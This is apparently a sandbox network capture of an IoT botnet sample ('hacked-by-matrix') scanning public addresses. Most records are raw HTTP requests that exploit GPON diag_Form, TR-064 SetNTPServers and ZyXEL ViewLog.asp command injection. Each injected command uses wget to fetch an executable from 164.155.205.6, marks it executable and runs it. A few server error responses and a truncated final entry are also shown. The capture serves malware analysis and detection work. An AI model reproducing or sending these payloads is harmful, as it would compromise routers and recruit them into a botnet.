Mar 2, 2024 12:38:37.396697998 CET	496	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sat, 02 Mar 2024 11:38:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding ETag: W/"62c683ee-157" Content-Encoding: gzip Data Raw: 66 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 65 50 bb 4e c4 30 10 ec f9 0a 63 89 d2 71 4e 74 79 5c 73 50 43 41 43 85 1c 67 13 5b b2 bd 96 bd 21 17 be 9e 73 c2 55 6c b3 33 a3 dd 19 69 ba c7 97 b7 cb c7 e7 fb 2b 33 e4 dd f9 a1 3b 16 bb 4d 67 a7 a4 3c b0 9c 74 cf 0d 51 cc 8d 94 da e1 32 ae 6a cb 22 93 22 ab 85 c6 40 10 a8 ca cf d5 92 05 a8 4c e2 54 29 af 7e 30 a8 35 57 1a bd 84 94 30 7d 45 35 83 f4 ca 96 73 15 34 88 11 0b 13 5e c5 68 c3 5c 95 60 ce f6 c8 01 d3 08 a9 e7 35 67 99 36 07 3d c7 6f 48 93 c3 b5 31 76 1c 21 b4 77 2e ae ff 94 ed ae 18 b0 b3 a1 e6 54 d7 4f ed 6a 47 32 07 8c 98 2d 59 0c 8d 1a 32 ba 85 a0 25 8c 4d 1d af ad 83 89 76 90 f6 c7 82 06 24 42 5f 20 67 87 5f cf 8b 0b 67 bb e3 1f 39 77 f2 e8 ea d6 9f dc 0b fc 05 66 f7 1e 64 57 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f7ePN0cqNty\sPCACg[!sUl3i+3;Mg<tQ2j""@LT)~05W0}E5s4^h\`5g6=oH1v!w.TOjG2-Y2%Mv$B_ g_g9wfdW0
Mar 2, 2024 12:38:37.396728039 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:38:37 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1622	192.168.2.23	38744	118.1.48.38	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:37.232789040 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1623	192.168.2.23	46792	210.33.214.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:37.232798100 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1624	192.168.2.23	59706	94.156.175.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:37.232812881 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1625	192.168.2.23	36256	79.137.178.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:37.232819080 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1626	192.168.2.23	33800	212.132.92.15	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:37.232848883 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1627	192.168.2.23	55770	178.124.207.168	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:37.232856035 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1628	192.168.2.23	52558	210.99.78.243	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:37.232872963 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1629	192.168.2.23	52290	212.19.102.167	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:37.232903004 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1630	192.168.2.23	37142	79.220.23.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:37.232935905 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1631	192.168.2.23	57466	42.254.4.158	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:37.232963085 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1632	192.168.2.23	44766	138.204.39.131	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:37.338432074 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1633	192.168.2.23	47838	86.123.233.220	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:37.423541069 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:37.635994911 CET	381	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Mar 2024 13:41:09 GMT Server: web Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1634	192.168.2.23	44798	138.204.39.131	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:37.552160025 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1635	192.168.2.23	55470	206.119.102.183	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:37.888494968 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:38.183662891 CET	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sat, 02 Mar 2024 11:38:38 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Mar 2, 2024 12:38:38.183680058 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:38:38 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1636	192.168.2.23	41596	80.88.1.114	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:37.893919945 CET	422	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:41.942290068 CET	422	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:48.085494041 CET	422	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1637	192.168.2.23	38064	178.128.100.173	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:37.919625998 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: 